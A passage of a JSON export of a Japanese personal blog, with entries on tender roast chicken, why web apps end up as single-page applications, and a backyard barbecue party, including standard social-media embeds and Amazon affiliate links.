background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAAGFBMVEUiIiI9PT0eHh4gIB4hIBkcHBwcHBwcHBydr+JQAAAACHRSTlMABA4YHyQsM5jtaMwAAADfSURBVDjL7ZVBEgMhCAQBAf//42xcNbpAqakcM0ftUmFAAIBE81IqBJdS3lS6zs3bIpB9WED3YYXFPmHRfT8sgyrCP1x8uEUxLMzNWElFOYCV6mHWWwMzdPEKHlhLw7NWJqkHc4uIZphavDzA2JPzUDsBZziNae2S6owH8xPmX8G7zzgKEOPUoYHvGz1TBCxMkd3kwNVbU0gKHkx+iZILf77IofhrY1nYFnB/lQPb79drWOyJVa/DAvg9B/rLB4cC+Nqgdz/TvBbBnr6GBReqn/nRmDgaQEej7WhonozjF+Y2I/fZou/qAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BE2GLsnvxMK/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eすごい\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した動画 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-05-01T00:54:50+00:00\"\u003e2016 4月 30 5:54午後 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e\r\n\r\nやわらかすぎて扱いづらいレベル。これを皿に盛り付けると、上に貼った完成図のようになります。あらためて画像をどうぞ。\r\n\r\n![img](http://s.ssig33.com/a/ac9506e3a97a47629512d2215c4d9e88)\r\n\r\n異様にやわらかく、余計な脂が落ちていて、味もしっかりしているのでこれが一瞬で消滅します。とてもよかったと思います。焼く前はタンドリーチキン風の生命体でしたが、焼きあがると別のものになっています。\r\n\r\nこれは、肉やその脂があまり好きではないという人にこそ食べてほしいものだと思いました。皮肉や冗談ではなくヘルシーな感じ。朝 10 時に食べるに適したものと言えるでしょう。\r\n\r\n\u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\n","created_at":"2016-05-01T01:53:32.000Z","updated_at":"2016-05-01T01:53:32.000Z"},{"id":2949,"name":"text/なぜ SPA か","body":"%blog%\r\n\r\n顧客は SPA であることを望んでいるのか?そうではないです。技術者は SPA を作りたいのか?そうではないです。\r\n\r\nではなぜ SPA 的なものが出来てしまうかといえば、いちいち UI の遷移のために大量のデータをロードしているのは時間と資源の無駄だからです。\r\n\r\nもちろんあるべき姿としては、サーバーの CPU やストレージやメモリは爆速で、回線も爆速で、用いられるデータは必要最低限で、クライアントマシンも爆速で、クライアント側でフォームを一個書き換えるたびにページをフルロードしても全くストレス無く使える、というような世界観です。\r\n\r\nしかし実際にはサーバーのスペックも回線もクライアントのスペックも不足気味ですから頑張って補っていく必要があります。\r\n\r\nすると最初にロードしたデータをクライアントは保持し続けて、 HTML 全体を書き換えるのではなく必要なところだけを最小限の通信とともに書き換えてみたいなことをやっていかざるを得ません。別にこうしたいからやっているというのではなくて、いまの環境でなんとかやっていくとそうなるというだけの話です。\r\n\r\nHTTP と WWW の上でリッチなアプリケーションを作るのが間違っているという思想もあるかと思います。しかしユーザーが持っているクライアントの OS は iOS Android Windows OSX と過去最高レベルに分断化されており、またそれぞれのプラットフォームのめんどうな事情を一番回避しやすいのは今のところウェブアプリケーションです。\r\n\r\nAngular とか React 的なものはみんなやりたくてやっているのではなくて、やらざるを得ないからやっているという面が強いです。もちろんいざ実装の段階に入ってしまえば技術的好奇心に基づきそれなりに楽しくやっていくわけですが。","created_at":"2016-05-25T03:02:01.000Z","updated_at":"2016-05-25T03:02:01.000Z"},{"id":2950,"name":"text/大会","body":"%blog% バーベキュー大会を開いた\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/a368P4OZNp\"\u003epic.twitter.com/a368P4OZNp\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746635940995600386\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nいろいろあったのでバーベキュー大会が開かれます。[前回実験の様子はこちらです](http://ssig33.com/text/%E3%83%90%E3%83%BC%E3%83%99%E3%82%AD%E3%83%A5%E3%83%BC)。\r\n\r\n今回は装備を強化して臨むことにします。装備はこちらです。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"7\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAMUExURczMzPf399fX1+bm5mzY9AMAAADiSURBVDjLvZXbEsMgCES5/P8/t9FuRVCRmU73JWlzosgSIIZURCjo/ad+EQJJB4Hv8BFt+IDpQoCx1wjOSBFhh2XssxEIYn3ulI/6MNReE07UIWJEv8UEOWDS88LY97kqyTliJKKtuYBbruAyVh5wOHiXmpi5we58Ek028czwyuQdLKPG1Bkb4NnM+VeAnfHqn1k4+GPT6uGQcvu2h2OVuIf/gWUFyy8OWEpdyZSa3aVCqpVoVvzZZ2VTnn2wU8qzVjDDetO90GSy9mVLqtgYSy231MxrY6I2gGqjrTY0L8fxCxfCBbhWrsYYAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BG9fTgOPxLW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこの R2-D2 のような装置を導入したところいきなり大勝利した\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-06-22T14:51:50+00:00\"\u003e2016 6月 22 7:51午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e \u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこの機械はすごく、[楽天で 6400 円で売っています](http://item.rakuten.co.jp/sunsunkan/10000151)。設置に庭が必要なのが難点ですが、庭がある人はいますぐに買ったほうがよいです。\r\n\r\nこの R2-D2 で肉を焼く為には炭が必要です。炭は簡単に着火することが難しいということがインターネットから分かるので、着火剤や着火器も買います。買ったのは以下のやつ。炭をつかむトングみたいなやつは押し入れになぜか転がっていました。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B0015FRCHS\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001ERVU6G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00MWPCDY2\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B0015FRCHS/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B0015FRCHS\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eロゴス 着火剤 防水ファイヤーライター 83010000 [HTRC 4.1]\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B0015FRCHS\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B001ERVU6G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001ERVU6G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eキャプテンスタッグ 炭焼き名人FD火起し器 M-6638\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B001ERVU6G\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B00MWPCDY2/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00MWPCDY2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e炭魂 大黒オガ備長炭 一級品 長時間燃焼 10kg\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00MWPCDY2\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\nちなみにあたかも万全の準備をしていたかのように上には書きましたがそれは嘘で、火を着けようとしてみると着かないので Amazon Prime Now を検索したところ上のグッズが見付かったので買ったところ 1 時間で届いたという経緯です。 Amazon Prime Now で頼むとおっちゃんが「アマゾンデース」って大声あげながら来るので緊張する。\r\n\r\n肉は海老名まで行きロピアというスーパーで買います。ここは普通のスーパーですが何故かデカい肉が大量に売られており便利。\r\n\r\nそういうわけでやっていきます。肉は 15 時から焼き始め 24 時まで焼いていました。だいたい 200 度(華氏)を保ちながらビールで蒸したりスモークチップを放りこんでスモークしたり、気持ちでやっていきます。シーズニングはチリパウダーメインのものとハーブメインでオイルを入れたものと、二種類用意します。散々酒を飲みアニメを見てゲームをしていたのでろくな写真がない。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eこれは大会参加者です \u003ca href=\"https://t.co/fPUG76a1OU\"\u003epic.twitter.com/fPUG76a1OU\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746555560271581184\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n焼く前の骨です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/TELsnAHUdZ\"\u003epic.twitter.com/TELsnAHUdZ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746658847775809536\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれは鳥の脚かなにかです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e様子です \u003ca href=\"https://t.co/NocAlGZZPo\"\u003epic.twitter.com/NocAlGZZPo\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746631514805284864\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nマグロの血合やその他の写真です。マグロの血合は前日に流水にさらして血を抜き、酒、醤油、しょうが、にんにくで漬け込んでおいたものです。これを 2 時間ほどグリルで蒸し焼き + スモークをすると勝利します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/1t5IKpH1L2\"\u003epic.twitter.com/1t5IKpH1L2\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746681006246137858\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n牛です。ヤバそうな色をしていますし芯温も測っていません。 3 時間ぐらい焼いたし誰も体調壊してなかったし多分大丈夫だと思う。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eご自由にお持ち帰りください \u003ca href=\"https://t.co/KvBp5OGzAQ\"\u003epic.twitter.com/KvBp5OGzAQ\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746629628970696704\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nパンと写真集が用意され、自由に持って帰ることができる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eうますぎていきなり勝利した \u003ca href=\"https://t.co/YBwVULaK2f\"\u003epic.twitter.com/YBwVULaK2f\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/745629144218624000\"\u003eJune 22, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n何かです。\r\n","created_at":"2016-06-29T08:45:43.000Z","updated_at":"2016-06-29T08:45:43.000Z"},{"id":2951,"name":"text/大会","body":"%blog% バーベキュー大会を開いた\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/a368P4OZNp\"\u003epic.twitter.com/a368P4OZNp\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746635940995600386\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nいろいろあったのでバーベキュー大会が開かれます。[前回実験の様子はこちらです](http://ssig33.com/text/%E3%83%90%E3%83%BC%E3%83%99%E3%82%AD%E3%83%A5%E3%83%BC)。\r\n\r\n今回は装備を強化して臨むことにします。装備はこちらです。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"7\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAMUExURczMzPf399fX1+bm5mzY9AMAAADiSURBVDjLvZXbEsMgCES5/P8/t9FuRVCRmU73JWlzosgSIIZURCjo/ad+EQJJB4Hv8BFt+IDpQoCx1wjOSBFhh2XssxEIYn3ulI/6MNReE07UIWJEv8UEOWDS88LY97kqyTliJKKtuYBbruAyVh5wOHiXmpi5we58Ek028czwyuQdLKPG1Bkb4NnM+VeAnfHqn1k4+GPT6uGQcvu2h2OVuIf/gWUFyy8OWEpdyZSa3aVCqpVoVvzZZ2VTnn2wU8qzVjDDetO90GSy9mVLqtgYSy231MxrY6I2gGqjrTY0L8fxCxfCBbhWrsYYAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BG9fTgOPxLW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこの R2-D2 のような装置を導入したところいきなり大勝利した\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; text-overflow:ellipsis; white-space:nowrap;\"\u003e@ssig33が投稿した写真 - \u003ctime style=\" font-family:Arial,sans-serif; font-size:14px; line-height:17px;\" datetime=\"2016-06-22T14:51:50+00:00\"\u003e2016 6月 22 7:51午前 PDT\u003c/time\u003e\u003c/p\u003e\u003c/div\u003e\u003c/blockquote\u003e \u003cscript async defer src=\"//platform.instagram.com/en_US/embeds.js\"\u003e\u003c/script\u003e\r\n\r\nこの機械はすごく、[楽天で 6400 円で売っています](http://item.rakuten.co.jp/sunsunkan/10000151)。設置に庭が必要なのが難点ですが、庭がある人はいますぐに買ったほうがよいです。\r\n\r\nこの R2-D2 で肉を焼く為には炭が必要です。炭は簡単に着火することが難しいということがインターネットから分かるので、着火剤や着火器も買います。買ったのは以下のやつ。炭をつかむトングみたいなやつは押し入れになぜか転がっていました。\r\n\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B0015FRCHS\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=B001ERVU6G\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as1\u0026asins=B00MWPCDY2\u0026ref=qf_sp_asin_til\u0026fc1=000000\u0026IS2=1\u0026lt1=_blank\u0026m=amazon\u0026lc1=0000FF\u0026bc1=000000\u0026bg1=FFFFFF\u0026f=ifr\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B0015FRCHS/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B0015FRCHS\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eロゴス 着火剤 防水ファイヤーライター 83010000 [HTRC 4.1]\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B0015FRCHS\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B001ERVU6G/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=B001ERVU6G\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eキャプテンスタッグ 炭焼き名人FD火起し器 M-6638\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B001ERVU6G\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n- \u003ca href=\"http://www.amazon.co.jp/gp/product/B00MWPCDY2/ref=as_li_qf_sp_asin_tl?ie=UTF8\u0026camp=247\u0026creative=1211\u0026creativeASIN=B00MWPCDY2\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003e炭魂 大黒オガ備長炭 一級品 長時間燃焼 10kg\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=B00MWPCDY2\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\r\nちなみにあたかも万全の準備をしていたかのように上には書きましたがそれは嘘で、火を着けようとしてみると着かないので Amazon Prime Now を検索したところ上のグッズが見付かったので買ったところ 1 時間で届いたという経緯です。 Amazon Prime Now で頼むとおっちゃんが「アマゾンデース」って大声あげながら来るので緊張する。\r\n\r\n肉は海老名まで行きロピアというスーパーで買います。ここは普通のスーパーですが何故かデカい肉が大量に売られており便利。\r\n\r\nそういうわけでやっていきます。肉は 15 時から焼き始め 24 時まで焼いていました。だいたい 200 度(華氏)を保ちながらビールで蒸したりスモークチップを放りこんでスモークしたり、気持ちでやっていきます。シーズニングはチリパウダーメインのものとハーブメインでオイルを入れたものと、二種類用意します。散々酒を飲みアニメを見てゲームをしていたのでろくな写真がない。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eこれは大会参加者です \u003ca href=\"https://t.co/fPUG76a1OU\"\u003epic.twitter.com/fPUG76a1OU\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746555560271581184\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n焼く前の骨です。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/TELsnAHUdZ\"\u003epic.twitter.com/TELsnAHUdZ\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746658847775809536\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nこれは鳥の脚かなにかです。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003e様子です \u003ca href=\"https://t.co/NocAlGZZPo\"\u003epic.twitter.com/NocAlGZZPo\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746631514805284864\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nマグロの血合やその他の写真です。マグロの血合は前日に流水にさらして血を抜き、酒、醤油、しょうが、にんにくで漬け込んでおいたものです。これを 2 時間ほどグリルで蒸し焼き + スモークをすると勝利します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/1t5IKpH1L2\"\u003epic.twitter.com/1t5IKpH1L2\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746681006246137858\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\n牛です。ヤバそうな色をしていますし芯温も測っていません。 3 時間ぐらい焼いたし誰も体調壊してなかったし多分大丈夫だと思う。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eご自由にお持ち帰りください \u003ca href=\"https://t.co/KvBp5OGzAQ\"\u003epic.twitter.com/KvBp5OGzAQ\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/746629628970696704\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nパンと写真集が用意され、自由に持って帰ることができる。\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"ja\" dir=\"ltr\"\u003eうますぎていきなり勝利した \u003ca href=\"https://t.co/YBwVULaK2f\"\u003epic.twitter.com/YBwVULaK2f\u003c/a\u003e\u003c/p\u003e\u0026mdash; パレスチナ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/745629144218624000\"\u003eJune 22, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n何かです。\r\n","created_at":"2016-06-29T08:46:03.000Z","updated_at":"2016-06-29T08:46:03.000Z"},{"id":2952,"name":"text/大会","body":"%blog% バーベキュー大会を開いた\r\n\r\n\u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"und\" dir=\"ltr\"\u003e\u003ca href=\"https://t.co/a368P4OZNp\"\u003epic.twitter.com/a368P4OZNp\u003c/a\u003e\u003c/p\u003e\u0026mdash; 君のYELL (@hetyo525) \u003ca href=\"https://twitter.com/hetyo525/status/746635940995600386\"\u003eJune 25, 2016\u003c/a\u003e\u003c/blockquote\u003e\r\n\r\nいろいろあったのでバーベキュー大会が開かれます。[前回実験の様子はこちらです](http://ssig33.com/text/%E3%83%90%E3%83%BC%E3%83%99%E3%82%AD%E3%83%A5%E3%83%BC)。\r\n\r\n今回は装備を強化して臨むことにします。装備はこちらです。\r\n\r\n\u003cblockquote class=\"instagram-media\" data-instgrm-captioned data-instgrm-version=\"7\" style=\" background:#FFF; border:0; border-radius:3px; box-shadow:0 0 1px 0 rgba(0,0,0,0.5),0 1px 10px 0 rgba(0,0,0,0.15); margin: 1px; max-width:658px; padding:0; width:99.375%; width:-webkit-calc(100% - 2px); width:calc(100% - 2px);\"\u003e\u003cdiv style=\"padding:8px;\"\u003e \u003cdiv style=\" background:#F8F8F8; line-height:0; margin-top:40px; padding:50.0% 0; text-align:center; width:100%;\"\u003e \u003cdiv style=\" background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACwAAAAsCAMAAAApWqozAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAMUExURczMzPf399fX1+bm5mzY9AMAAADiSURBVDjLvZXbEsMgCES5/P8/t9FuRVCRmU73JWlzosgSIIZURCjo/ad+EQJJB4Hv8BFt+IDpQoCx1wjOSBFhh2XssxEIYn3ulI/6MNReE07UIWJEv8UEOWDS88LY97kqyTliJKKtuYBbruAyVh5wOHiXmpi5we58Ek028czwyuQdLKPG1Bkb4NnM+VeAnfHqn1k4+GPT6uGQcvu2h2OVuIf/gWUFyy8OWEpdyZSa3aVCqpVoVvzZZ2VTnn2wU8qzVjDDetO90GSy9mVLqtgYSy231MxrY6I2gGqjrTY0L8fxCxfCBbhWrsYYAAAAAElFTkSuQmCC); display:block; height:44px; margin:0 auto -44px; position:relative; top:-22px; width:44px;\"\u003e\u003c/div\u003e\u003c/div\u003e \u003cp style=\" margin:8px 0 0 0; padding:0 4px;\"\u003e \u003ca href=\"https://www.instagram.com/p/BG9fTgOPxLW/\" style=\" color:#000; font-family:Arial,sans-serif; font-size:14px; font-style:normal; font-weight:normal; line-height:17px; text-decoration:none; word-wrap:break-word;\" target=\"_blank\"\u003eこの R2-D2 のような装置を導入したところいきなり大勝利した\u003c/a\u003e\u003c/p\u003e \u003cp style=\" color:#c9c8cd; font-family:Arial,sans-serif; font-size:14px; line-height:17px; margin-bottom:0; margin-top:8px; overflow:hidden; padding:8px 0 7px; text-align:center; 